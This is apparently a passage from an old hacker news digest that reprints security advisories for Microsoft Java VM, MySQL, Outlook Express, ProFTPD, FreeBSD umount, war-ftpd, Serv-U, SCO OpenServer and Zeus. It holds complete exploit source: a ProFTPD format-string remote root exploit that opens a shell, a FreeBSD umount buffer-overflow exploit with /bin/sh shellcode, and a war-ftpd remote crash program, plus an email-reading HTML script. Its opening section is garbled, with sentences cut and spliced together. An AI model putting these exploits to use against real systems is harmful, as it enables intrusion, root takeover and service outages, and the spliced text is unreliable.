The readable directories and their sub directories could be limited,will
be read, Except of Windows NT that is home directory of each user profile
set.
C:\Windows\desktoWe suspect this variation comes from the version of
Microsoft VM for Java, not the version of IE.
Unfortunately as a much serious case, if you set the environment
variable CLASSPATH at C:\AUTOEXEC.BAT, the files and directories under
the directories set in CLASSPATH are all readable.
Java programmers should be aware of tfor their applications.
How to be attacked
------------------
You may get attacked indeed just accessing
When accessing the web site, the applet is downloaded and invoked on
your computer, and then sends files on
InputStream is = ClassLoader.getSystemResourceAsStream(filename);
This single line makes an applet read an email.
There would be already such an applet made by a malicious programmer,
and placed on a web page in secret.
Demonstration of attacking the security hole
--------------------------------------------
You can try a demonstration applet on the following URL, (don't worry,
it just reads you back your e.g. autoexec.bwill see the content with
specifying the file name with the directory name.
When you receive the message "to read or find the specified file.
However, this might means only that the applet searched the different
d(rive?)
Work-around
-----------
Stop Microsoft's Java function until a patch provided.
Instruction for IE4 users:
Follow "View" menu, "Internet Options...", "Security" tab, "Custom (for
expert users)", and "Setting..." bAlternative for utilizing Java:
- Use Netscape Navigator or Communicator instead of IE.
- Use Sun Java Plug-in for IE. See
http://java.sun.com/products/plugin/index.html
List of vulnerable applications with versiothe members
------------------------------------------------------------------------------------
Microsoft (R) VM for Java, 5.0 Release 5.0.0.3234 (the latest version,
as of Jan 28, 2000) and earlier
Note that no sNo. This is a simple mis-implementation (a bug) of
Microsoft Java VM. It does NOT mean Java has a structural
Motivation of this note
-----------------------
We are aware that full disclosure of security holes informpeople
informed. After fighting this dilemma, we believe the benefit of
users, such as awareness of existing(See the following URLs).
http://www.news.com/News/Item/0,4,41084,00.html?feed.cnetbriefs
http://news.cnet.c
- This issue is already known by thousands of members of our mailing
list. Even if we hid the code, anyone them to provide a patch
immediately, and to announce it on media such as newspaper so that
all of Windows us The following is the Microsoft's response;
-- Due to development issue, we can not guarantee to fix it as From
this answer, we could not be convinced if users get secured soon.
In addition, they mentioned they coulthis issue to Java communities
(Translator's note: Dr. Takagi gave Microsoft Corp. in Japan a call
on Jan 2Acknowledgement)
---------------
This security hole is happened to be found when we discussed
programming method to read files on Jar archives. As a start
point, Mr. Tada reported his applet read files on Desktop unereport,
Mr. Amemiya indicated it was a security hole. I, Dr. Takagi,
reported readable directories were not
Related articles
----------------
[j-h-b:30281] [j-h-b:30283] [j-h-b:30284] [j-h-b:30285] [j-h-b:30303]
[j-h-b:30321] [j-h-b:30323] [j-h-b:30324] [j-h-b:30325] [j-h-b:30327]
[j-h-b:30331] [j-h-b:30332] [j-h-b:30333] [j-h-b:30334] [j-h-b:30338]
[j-h-b:30351] [j-h-b:30352] [j-h-b:30353] [j-h-b:30354] [j-h-b:30355]
[j-h-b:3http://www.etl.go.jp/~takagi/
Acknowledgement from translator
-------------------------------
I would like to thank Dr. Hiromitsu Takagi (takagi@etl.go.jp) and Mr.
Ryoji Sumida (ryo@idt.net) for kind helps.
Tomohira Tabata (ttabata@ucsd.edu), Ph.D., postgraduate research
engineer,
ECE UCSD, 9500 Gilman Drive, La Jolla, CA 92093-0407, USA
@HWA
177.0 mySQL password checking routines insecure.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
Hi,
Below you find a security advisory i wrote concerning a vulnerability found in
all (known to me) mysql server versions, including the latest one.
As mysql is a widely used sql platform, i strongly advise everyone using it
to read it, and fix where appropriate.
This email has been bcc'd to the mysql bug list, and other appropriate parties.
Greets,
Robert van der Meulen/Emphyrio
.Introduction.
There exists a vulnerability in the password checking routines in the latest
versions of the MySQL server, that allows any user on a host that is allowed
to connect to the server, to skip password authentication, and access databases.
For the exploit to work, a valid username for the mysql server is needed, and
this username must have access to the database server, when connecting from
the attacking host.
.Vulnerable Systems.
All systems running 3.22.26a and up (tested).
Probably all systems running lower versions as well (not tested, not reviewed).
All versions are vulnerable on all platforms.
.A snippet of code from the mysql code, explaining password authentication **
>From mysql-3.22.26a/sql/password.c:
/* password checking routines */
/*****************************************************************************
The main idea is that no password are sent between client & server on
connection and that no password are saved in mysql in a decodable form.
On connection a random string is generated and sent to the client.
The client generates a new string with a random generator inited with
the hash values from the password and the sent string.
This 'check' string is sent to the server where it is compared with
a string generated from the stored hash_value of the password and the
random string.
<cut>
*****************************************************************************/
.More code, and vulnerability explanation.
The problem is, that in the comparison between the 'check' string, and the
string generated from the hash_value of the password and the random string,
the following code is used (from mysql-3.22.26a/sql/password.c):
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1; /* Wrong password */
}
'scrambled' represents the 'check' value, and (*to++ ^ extra) walks trough the
hash_value.
Suppose a client would send a _single_ character to the server as the 'check'
string.
Of course the server should notice the check string is not the same length as
the check string needed, and give a password error.
Because no such checks are done, when a check string of length 1 is passed to
the server, only one character is compared.
So the only thing that remains to know if we want to peek in someone's MySQL
database, is a technique to find out the first character of the server-side
check string.
The string that's used for the comparison is generated using some random data,
so two following authenticate-actions will probably use different check-strings.
After looking at the algorithm, generating the check string, it becomes clear
that there are actually only 32 possibilities for each character.
In practice, this means that if you connect, sending one single character as
the check string, you will be in in about 32 tries maximum.
.Impact.
Hosts in the access list (by default any host, on a lot of distributions and
servers) can connect to the MySQL server, without a password, and access
(often sensitive) data _as long as the attacker has a valid username for the
database server_.
This vulnerability also incorporates a MySQL DoS attack, as the attacker can
shutdown database servers and delete data, if she logs in with the MySQL
management account.
.Exploit information.
I have an exploit available, but to defer script kiddies i will not release
it (yet). Do not ask me for it.
If above explanation is understood, an exploit should be easy enough...
.Fix information.
Change the routine 'check_scramble' in mysql-3.22.26a/sql/password.c to do a
length check, _before_ starting the compare.
This should be as easy as inserting the following just above the
while (*scrambled) loop:
if (strlen(scrambled)!=strlen(to)) {
return 1;
}
WARNING: This is NOT an official fix. You can use this as a temporary solution
to the problem.
Please check the official mysql site (www.mysql.org) for a fix.
.Commentary.
I think this exploit should not be a very scary thing to people that know
how to secure their servers.
In practice, there's almost never a need to allow the whole world to connect
to your SQL server, so that part of the deal should be taken care of.
As long as your MySQL ACL is secure, this problem doesn't really occur (unless
your database server doubles as a shell server).
We have also located several other security bugs in mysql server/client. These
bugs can only be exploited by users who have a valid username and password.
We will send these to the mysql maintainers, and hope they'll come
with a fix soon.
Yours,
Robert van der Meulen/Emphyrio (rvdm@cistron.nl)
Willem Pinckaers (dvorak@synnergy.net)
--
| rvdm@cistron.nl - Cistron Internet Services - www.cistron.nl |
| php3/c/perl/html/c++/sed/awk/linux/sql/cgi/security |
| My statements are mine, and not necessarily cistron's. |
@HWA
178.0 Guninski: Outlook and Active Scripting (again, sigh...)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
Georgi Guninski security advisory #6, 2000
Outlook Express 5 vulnerability - Active Scripting may read email
messages
Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or indirect use
of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.
Description:
Outlook Express 5.01 and Internet Explorer 5.01 under Windows 95
(suppose other versions are also vulnerable)
allow reading subsequently opened email messages after a hostile message
is opened.
Details:
The problem is assigning the document object of the email message to a
variable in a newly opened window.
Thru this variable access is possible to open email messages.
The code that must be included in HTML message is :
---------------------------------------------------------------------
<SCRIPT>
a=window.open("about:<A HREF='javascript:alert(x.body.innerText)' >Click
here to see the active message</A>");
a.x=window.document;
</SCRIPT>
---------------------------------------------------------------------
Workaround: Disable Active Scripting
Regards,
Georgi Guninski
http://www.nat.bg/~joro
@HWA
179.0 Break a BeOS poorman server remotely with url infusion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
Missing traling '/' Remote Denial of Service Attack Advisory
[february 5th 2000]
UPDATED February 8th
###############################################################
Please, refer to http://bebugs.be.com/devbugs/detail.php3?oid=1229984
as it makes this advisory obsolete...
I discovered this very recently, but it seems it was in the Be inc.
bug database for a while. Thanks goes to Kobie Lurie for giving
me additional informations.
###############################################################
##### OLD ADVISORY HERE #####
Software: PoorMan webserver
Platform: BeOS R4.5 (i386)
Note: The following has not been test over the PPC platform, please,
let me know if you are able the reproduce it!
Author: Jonathan Provencher
oktober@balistik.net
http://balistik.net
Details:
It is possible to cause the PoorMan webserver to crash (remotly)by
sending a given URL to the server. In the case that interests us, a URL
like http://server.com/somedir would make the server crash
and output a Segment Violation in the 'web connection thread'. It seems
it is the way that the server handles and parse the urls that makes him
vulnerable. Adding a trailing '/' would not make the server to crash. I discovered
this very recently, but it seems it was in the Be inc. bug database for a while.
Thanks goes to Kobie Lurie for giving me additional informations. Sorry
for any redundant alert! ;)
Situation:
The vendor (Be inc.) has not and will not be contacted for this
vulnerability. This DoS can be worked around by installing the 4.5.2
service pack provided freely by Be inc. PoorMan's users should really
consider installing this service pack.
Relevant links:
R4.5.2 Service Pack
http://www-classic.be.com/support/updates/
Be inc.
http://www.be.com
######################
@HWA
180.0 Proftpd (<= pre6) linux ppc remote exploit.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Author: lamagra@uglypig.org
Packetstorm:
/* PRIVATE Do not distribute PRIVATE
oktober 1999
pro-ftpd remote exploit (linux ppc)
Bug: Proftpd (<= pre6) passes user commands to snprinft().
snprintf(argv,len,command + host + etc);
This makes it possible to insert formatstrings.
%n: writes the number of chars written to the location pointed to by it's
argument.
Stack:
[ user argument ]
[ other stuff ]
[ arguments + stack of the snprintf funtion + subfunctions ]
We walk to all that garbage using %u and stop at a certain possition inside
the usercommand. At that possition is the address that will be overwritten by %n.
Exploit is simple we overwrite the uid and the anonconfig. After a uid change
by LIST. We are root :-)
Exploit:
Linuxppc has a bad char (newline) in the address of session.anonconfig.
This is why I overwrite DenyAll inside the config, But this area in memory
is allocated and therefore unpredictable on a remote box. This is needed to
get write access on the server (within the chroot-env).
o Anonymous login: you can overwrite anything in /home/ftp.
Getting out of the chroot-enviroment is impossible since proftpd
doesn't use external program (to overwrite).
hint: use .forward in combination with a suid file.
o Local login: instant root by changing permission to suid.
hint: SITE CHMOD 6755 <file> (is allowed in proftpd, not in wuftpd)
I plugged this exploit in the ftp program, because this program doesn't have
data-connection support. Because it's not really needed.
I used this bug to get root on linuxppc but they never gave me credit for it.
I made a x86 exploit too, but i don't have any rpm-addy's. Only my testing vals.
I heard RH6.x comes with proftpd, anyone wanna let me get the addy's? mail me.
Greets to grue, lockdown, DryGrain
by lamagra <lamagra@uglypig.org>
http://lamagra.seKure.de
http://penguin.seKure.de
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <netdb.h>
#define NUM 150
#define DEFAULT_OFFSET 0
unsigned long resolve(char *);
void usage(char *);
void wait_msg(int);
void ftplogin(int, char *, char *);
void shell(int);
extern char *optarg;
extern int optind;
void main(int argc, char **argv)
{
struct sockaddr_in addr;
int sockfd,i;
long port=21,*addrptr;
char c, name[100],pass[100],buf[1024];
/* SET DEFAULTS */
strcpy(name,"ftp");
strcpy(pass,"h@ck.er");
while((c = getopt(argc,argv,"hn:p:c:")) != EOF)
{
switch(c)
{
case 'h':
usage(argv[0]);
case 'n':
strncpy(name,optarg,100);
break;
case 'p':
strncpy(pass,optarg,100);
break;
case 'c':
port = atol(optarg);
}
}
if((argc - optind) != 1) usage(argv[0]);
bzero(&addr, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = resolve(argv[optind++]);
printf("Connecting.....");
if((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1)
{
printf("failed\n");
perror("socket");
exit(-1);
}
if(connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0)
{
printf("failed\n");
perror("connect");
exit(-1);
}
#ifdef DEBUG
sockfd = fileno(stdout);
#endif
wait_msg(sockfd);
printf("success\n");
printf("Logging in <%s>:<%s>\n",name,pass);
ftplogin(sockfd,name,pass);
strcpy(buf,"PWD aaaa");
/* Overwrite config to allow writing
* 0x0187e608: session.anon_config, bad char in 0x0187e60a
* DenyAll is at 0x1885f01 on the box i used for testing
* It just fucks up the string -> DenyAll isn't found -> default is AllowAll
*/
buf[8] = 0x01;
buf[9] = 0x88;
buf[10] = 0x5f;
buf[11] = 0x01;
/* session.disable_idswithing is at 0x187e5ca */
buf[12] = 0x01;
buf[13] = 0x87;
buf[14] = 0xe5;
buf[15] = 0xca;
/* Ugly, Ugly / didn't feel like counting :-) */
strncpy(buf+16,"%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u",NUM);
strcpy(buf+16+NUM,"%n%n\r\n");
write(sockfd,buf,strlen(buf));
sleep(1);
/* 0x0187e5cc: session.uid*/
buf[8] = 0x01;
buf[9] = 0x87;
buf[10] = 0xe5;
buf[11] = 0xcc;
buf[12] = 0x01;
buf[13] = 0x87;
buf[14] = 0xe5;
buf[15] = 0xce;
write(sockfd,buf,strlen(buf));
/* 0x187e5d0: session.ouid */
buf[8] = 0x01;
buf[9] = 0x87;
buf[10] = 0xe5;
buf[11] = 0xd0;
buf[12] = 0x01;
buf[13] = 0x87;
buf[14] = 0xe5;
buf[15] = 0xd2;
write(sockfd,buf,strlen(buf));
/* LIST switches uid to session.ouid to bind to port 20 (ftp-data - privelidged port) */
write(sockfd,"LIST\r\n",6);
/* LIST returns error "No data connection" */
do{
read(sockfd,buf,sizeof(buf));
}while(strstr(buf,"connection") == NULL);
printf("Opening shell-connection\n");
shell(sockfd);
printf("THE END\n");
close(sockfd);
}
void shell(int sockfd)
{
char buf[1024];
fd_set set;
int len;
while(1)
{
FD_SET(fileno(stdin),&set);
FD_SET(sockfd,&set);
select(sockfd+1,&set,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&set))
{
memset(buf,NULL,1024);
fgets(buf,1024,stdin);
write(sockfd,buf,strlen(buf));
}
if(FD_ISSET(sockfd,&set))
{
memset(buf,NULL,1024);
if((len = read(sockfd,buf,1024)) == 0)
{
printf("EOF.\n");
exit(-1);
}
if(len == -1)
{
perror("read");
exit(-1);
}
puts(buf);
}
}
}
void ftplogin(int sockfd, char *user,char *passwd)
{
char send[500];
memset(send,NULL,500);
snprintf(send,500,"USER %s\r\n",user);
write(sockfd,send,strlen(send));
wait_msg(sockfd);
memset(send,NULL,500);
snprintf(send,500,"PASS %s\r\n",passwd);
write(sockfd,send,strlen(send));
wait_msg(sockfd);
return;
}
void wait_msg(int sockfd)
{
char c;
while(read(sockfd,(char *)&c,sizeof(char)) > 0)
{
if(c == '\n') break;
}
}
unsigned long resolve(char *hostname)
{
struct hostent *hp;
unsigned long ip;
if((ip = inet_addr(hostname)) == -1)
{
if((hp = gethostbyname(hostname)) == NULL)
{
printf("Can't resolve hostname <%s>.\n",hostname);
exit(-1);
}
memcpy(&ip,hp->h_addr,4);
}
return ip;
}
void usage(char *name)
{
printf("Usage: %s <host> [-n name] [-p pass] [-c port]\n",name);
exit(-1);
}
@HWA
181.0 Insecure defaults in SCO openserver 5.0.5 leaves the barn doors open.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm
======================================================================
Network Associates, Inc.
SECURITY ADVISORY
February 7, 2000
SNMPD default writable community string
======================================================================
SYNOPSIS
The default configuration of SCO OpenServer 5.0.5 allows local users
read/write access to SNMPD via a default writable community string.
======================================================================
VULNERABLE HOSTS
This configuration has been verified on SCO OpenServer 5.0.5 and may
be present in earlier versions.
======================================================================
DETAILS
SNMP(S.imple N.etwork M.anagement P.rotocol) is a protocol suite
used to manage information obtained from network entities such as
hosts, routers, switches, hubs, etc. A management station collects
the information from these various network entities via SNMP variable
querys. Information events called traps can also be sent from
entities to managment stations notifying the station of critical
changes such as changes to interface status, packet collisions, etc.
These domains of SNMP managment stations and entities are grouped
togather in what are called communities. The community name (called
the community string) is used as the authentication method used for
information retrieval/traps. There are 2 types of community strings
read(public), and write(private). A read community has privilages
to retrieve variables from SNMP entities and a write community has
privilages to read as well as write to entity variables.
The problem lies in that the default installation of SCO OpenServer
5.0.5 has snmpd enabled with a default write(private) community string.
SCO has released a security bulletin for this vulnerability, which can
be found at: http://www.sco.com/security.
======================================================================
TECHNICAL DETAILS
SNMPD, run on startup by SCO OpenServer 5.0.5, is configured by
default with a writable(private) community string. This allows any
local user full administrator access to the SNMPD facility. The potential
abuses of this privelege include the ability to modify hostname,
network interface state, IP forwarding and routing, state of network
sockets (including the ability to terminate active TCP sessions and
listening sockets) and the ARP cache. An attacker also has full read
access to all SNMP facilities.
======================================================================
RESOLUTION
The community string definitions can be found in /etc/snmpd.comm
Remove/modify these strings and restart snmpd. Alternatively, if your
site does not use SNMP, kill snmpd and remove it from system startup
files.
======================================================================
CREDITS
Discovery and documentation of this vulnerability was conducted by
Shawn Bracken <shawn_bracken@nai.com> at the security labs of Network
Associates.
======================================================================
ABOUT THE NETWORK ASSOCIATES SECURITY LABS
The Security Labs at Network Associates hosts some of the most
important research in computer security today. With over 30 security
advisories published in the last 2 years, the Network Associates
security auditing teams have been responsible for the discovery of
many of the Internet's most serious security flaws. This advisory
represents our ongoing commitment to provide critical information to
the security community.
For more information about the Security Labs at Network
Associates, see our website at http://www.nai.com or contact us
at <seclabs@nai.com>.
======================================================================
NETWORK ASSOCIATES SECURITY LABS PGP KEY
- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP 5.5.5
mQGiBDXGgDsRBADVOnID6BtEhKlm2cNalho28YP0JAh+J4iRUIaiWshzI0tc0KPc
fvs+0xYwiqjxmeHi2sdIEPQ7S+ltA3Dlp6/DFojWBr2XB9hfWy4uiKBUHqnsKYnB
Gpkh6nIx7DIwn+u0PXMXbJCG3LYf8daiPVdzC2VFtbRvJL4wZc6NLQViFQCg/9uS
DuH/0NE6mO8Cu4iVrUT5Wk8D/ArOpV5T5yIuXHZO1/ZBVeHccVVvHe8wHK4D9WUs
FsB8fgYLNgdFMMjtam7QQSBY/P1KKBzaFqZhkfS4WVMAFEy94NHXG+KTCPhXkZzp
OPPqwWqZgfvOg0Bm20O/GhzQkB6JfFJqcfR87Ej0+fcDKrTTxAELWHGS7c9Qdn6P
bfwHA/4oLNwYrtgWNkjGcG018Pu2jKT7YuP9zBTMu28IBiWdPLGL9Wle4d5cdDVx
Es4iVl8FMtxlgTWCgMnBLS4nyM3pCn1HF+8Gi+IVKUXWCkqt/rtBMsrOMfrOgEIu
BWnTZcTR7kcWtH7xDFNyZ47U4pElLXwATVDty/FczAJnpeht2LQyTmV0d29yayBB
c3NvY2lhdGVzIFNlY3VyaXR5IExhYnMgPHNlY2xhYnNAbmFpLmNvbT6JAEsEEBEC
AAsFAjXGgDsECwMCAQAKCRCheCy6j9WBEtgDAKDpYMwQZP0Ipx7X0ivnTxxJkA/W
vACg4LZv0lmWqmnd7XCe4OIJ05aT6hK5Ag0ENcaAOxAIAPZCV7cIfwgXcqK61qlC
8wXo+VMROU+28W65Szgg2gGnVqMU6Y9AVfPQB8bLQ6mUrfdMZIZJ+AyDvWXpF9Sh
01D49Vlf3HZSTz09jdvOmeFXklnN/biudE/F/Ha8g8VHMGHOfMlm/xX5u/2RXscB
qtNbno2gpXI61Brwv0YAWCvl9Ij9WE5J280gtJ3kkQc2azNsOA1FHQ98iLMcfFst
jvbzySPAQ/ClWxiNjrtVjLhdONM0/XwXV0OjHRhs3jMhLLUq/zzhsSlAGBGNfISn
CnLWhsQDGcgHKXrKlQzZlp+r0ApQmwJG0wg9ZqRdQZ+cfL2JSyIZJrqrol7DVeky
CzsAAgIH/RZcJoRkhCf9O4Er+rciBNG3QqM3tek23oxGuVwqRxtGlGKuf+YaUDIA
vZhARftupZYJf/+AM9pyjjsF7ON/Df5oIXXhqzrDySw47dNB3I1FG7vwAUBRfYgG
NRP+zvf1nld+FgAXag1DIQteXYPtoMUJP8ZgvbELYVdZS2TapOHUv7r4rOY+UUjl
U+FkQPp9KCNreaNux4NxwT3tzXl1KqqkliC8sYxvMCkJ+JO71TKGplO9dXsf3O8p
2r33+LngmLs4O7inrUlmAUKq3jmCK50J7RsZjd6PlK/0JwcjFkOZeYrxTguZzCR4
QYmo8nEHqEMSKQci0VUf9KH4lHf6xmGJAEYEGBECAAYFAjXGgDsACgkQoXgsuo/V
gRK5LACgoAqLFk10kAMu6xb3ftO4+INJs14Ani+1hujlYRxYphN97c5ci8WtILNZ
=L3C6
- ----
@HWA
182.0 Malformed link in SERVU then a list = instant DoS (crash!)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Local / Remote D.o.S Attack in Serv-U FTP-Server v2.5b for
Win9x/WinNT Vulnerability
USSR Advisory Code: USSR-2000032
Release Date:
February 04, 2000
Systems Affected:
Serv-U FTP-Server v2.5b and maybe other versions.
Windows 95
Windows 98
Windows Nt 4.0 WorkStation
Windows Nt 4.0 Server
THE PROBLEM
UssrLabs found a buffer overflow, in one Windows Api
"SHGetPathFromIDList" This function
converts an item identifier list to a file system path, just one Api
who manage Links
files under windows.
If you have one malformed link file you can crash anything who try to
Translate from
.lnk file like EXPLORER.EXE. all common dialogs and so on (copy one
malformed link
file to the desktop,and you cant login intro the machine).
To made Serv-u crash just upload one malformed link file in any
serv-u
directory and type the ftp command LIST, and Server Crashh.
Note:
this overflow no work under win2k
Example Malformed link in: http://www.ussrback.com/god.lnk
Binary or source for this Exploit:
http://www.ussrback.com/
Vendor Status:
Contacted.
Vendor Url: http://ftpserv-u.deerfield.com/
Program Url: http://ftpserv-u.deerfield.com/download.cfm
Credit: USSRLABS
SOLUTION
Next version, personal code for handle links files.
Greetings:
Eeye, Attrition, w00w00, beavuh, Rhino9, ADM, L0pht, HNN,
Technotronic and
Wiretrip.
u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c
h
http://www.ussrback.com
-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.5.2 for non-commercial use <http://www.pgp.com>
iQA/AwUBOJpk5tybEYfHhkiVEQKClgCeLGzAF22XekE1PuQl1Gn0YFKWrw0AnjnW
0ERSgzfn2hLW0mykNlSgZeea
=ZU9/
-----END PGP SIGNATURE-----
@HWA
183.0 FreeBSD 3.3-RELEASE /sbin/umount local exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By babunia@freebsd.lublin.pl
Packetstorm:
/*
*
* (c) 1999 babcia padlina ltd. <babunia@freebsd.lublin.pl>
* FreeBSD 3.3-RELEASE /sbin/umount exploit.
*
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#define NOP 0x90
#define OFS 1800
#define BUFSIZE 1024
#define ADDRS 1200
#define DIR "babcia padlina ltd."
long getesp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(argc, argv)
int argc;
char **argv;
{
char *execshell =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
char *buf, *p;
int noplen, i, ofs;
long ret, *ap;
if(!(buf = (char *)malloc(BUFSIZE+1)))
{
perror("malloc()");
return -1;
}
if (argc > 1)
ofs = atoi(argv[1]);
else
ofs = OFS;
noplen = BUFSIZE - strlen(execshell);
ret = getesp() + ofs;
memset(buf, NOP, noplen);
buf[noplen+1] = '\0';
strcat(buf, execshell);
setenv("EGG", buf, 1);
if(!(buf = (char *)malloc(ADDRS+1)))
{
perror("malloc()");
return -1;
}
p = buf;
ap = (unsigned long *)p;
for(i = 0; i < ADDRS / 4; i++)
*ap++ = ret;
p = (char *)ap;
*p = '\0';
fprintf(stderr, "RET: 0x%x len: %d\n\n", ret, strlen(buf));
chdir(getenv("HOME"));
chmod(DIR, 0755);
rmdir(DIR);
mkdir(DIR, 0755);
chdir(DIR);
chmod(".", 0);
execl("/sbin/umount", "umount", buf, 0);
return 0;
}
@HWA
184.0 Yet another War-ftpd vulnerabilty (why do ppl use this?)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
Hello,
"war-ftpd" is very popular ftp server for Windows95/98/NT.
I found DoS problem to "war-ftpd 1.6x" recently.
Outline:
It seems to occur because the bound check of the command of MKD/CWD
that uses it is imperfect when this problem controls the directory.
However, could not hijack the control of EIP so as long as I test.
It is because not able to overwrite the RET address,
because it seems to be checking buffer total capacity properly
in 1.66x4 and later.
The boundary of Access Violation breaks out among 8182 bytes
from 533 bytes neighborhood although it differs by the thread
that receives attack.
The version that is confirming this vulnerable point is as follows.
1.66x4s, 1.67-3
The version that this vulnerable point was not found is as follows.
1.71-0
Test Environments:
Microsoft WindowsNT 4.0 Workstation SP6a Japanese version+IE4.0SP2
Microsoft WindowsNT 4.0 Workstation SP5 Japanese version+IE4.0SP2
Microsoft WindowsNT 4.0 Server SP4 Japanese version
Solution:
1.70-1 should be used to solve this problem fundamentally.
Because it becomes "Access denied" in 1.71-0 DoS did not break out.
---
warftpd-dos.c
I coded program for the reappearance of this problem.
The contents apply DoS attack for "war-ftpd" to the server
who is working from the remote.
/*--------------------------------------------------------------*/
/* war-ftpd 1.66x4s and 1.67-3 DoS sample by crc "warftpd-dos.c"*/
/*--------------------------------------------------------------*/
#include <stdio.h>
#include <string.h>
#include <winsock.h>
#include <windows.h>
#define FTP_PORT 21
#define MAXBUF 8182
//#define MAXBUF 553
#define MAXPACKETBUF 32000
#define NOP 0x90
void main(int argc,char *argv[])
{
SOCKET sock;
unsigned long victimaddr;
SOCKADDR_IN victimsockaddr;
WORD wVersionRequested;
int nErrorStatus;
static unsigned char buf[MAXBUF],packetbuf[MAXPACKETBUF],*q;
hostent *victimhostent;
WSADATA wsa;
if (argc < 3){
printf("Usage: %s TargetHost UserName Password\n",argv[0]); exit(1);
}
wVersionRequested = MAKEWORD(1, 1);
nErrorStatus = WSAStartup(wVersionRequested, &wsa);
if (atexit((void (*)(void))(WSACleanup))) {
fprintf(stderr,"atexit(WSACleanup)failed\n"); exit(-1);
}
if ( nErrorStatus != 0 ) {
fprintf(stderr,"Winsock Initialization failed\n"); exit(-1);
}
if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
fprintf(stderr,"Can't create socket.\n"); exit(-1);
}
victimaddr = inet_addr((char*)argv[1]);
if (victimaddr == -1) {
victimhostent = gethostbyname(argv[1]);
if (victimhostent == NULL) {
fprintf(stderr,"Can't resolve specified host.\n"); exit(-1);
}
else
victimaddr = *((unsigned long *)((victimhostent->h_addr_list)[0]));
}
victimsockaddr.sin_family = AF_INET;
victimsockaddr.sin_addr.s_addr = victimaddr;
victimsockaddr.sin_port = htons((unsigned short)FTP_PORT);
memset(victimsockaddr.sin_zero,(int)0,sizeof(victimsockaddr.sin_zero));
if(connect(sock,(struct sockaddr *)&victimsockaddr,sizeof(victimsockaddr)) == SOCKET_ERROR){
fprintf(stderr,"Connection refused.\n"); exit(-1);
}
printf("Attacking war-ftpd ...\n");
recv(sock,(char *)packetbuf,MAXPACKETBUF,0);
sprintf((char *)packetbuf,"USER %s\r\n",argv[2]);
send(sock,(char *)packetbuf,strlen((char *)packetbuf),0);
recv(sock,(char *)packetbuf,MAXPACKETBUF,0);
sprintf((char *)packetbuf,"PASS %s\r\n",argv[3]);
send(sock,(char *)packetbuf,strlen((char *)packetbuf),0);
recv(sock,(char *)packetbuf,MAXPACKETBUF,0);
memset(buf,NOP,MAXBUF); buf[MAXBUF-1]=0;
sprintf((char *)packetbuf,"CWD %s\r\n",buf);
send(sock,(char *)packetbuf,strlen((char *)packetbuf),0);
Sleep(100);
shutdown(sock, 2);
closesocket(sock);
WSACleanup();
printf("done.\n");
}
----
Toshimi Makino E-mail:crc@sirius.imasy.or.jp
@HWA
185.0 Z0rk a Zeus Web Server DoS
~~~~~~~~~~~~~~~~~~~~~~~~~~
Packetstorm:
This morning Zeus Technology Limited was informed of a serious security
bug in the Zeus Webserver by 'The Relay Group' (http://relaygroup.com).
This document describes the scope of the problem and its solution.
Versions affected
-----------------
Zeus 3.1.x / 3.3.x
Severity
--------
High- this bug allows the contents of CGI scripts to be read by a remote
client, if the scripts are run with the CGI module's "allow CGIs
anywhere" option enabled.
It does not affect CGIs run from designated directories (cgi-bins).
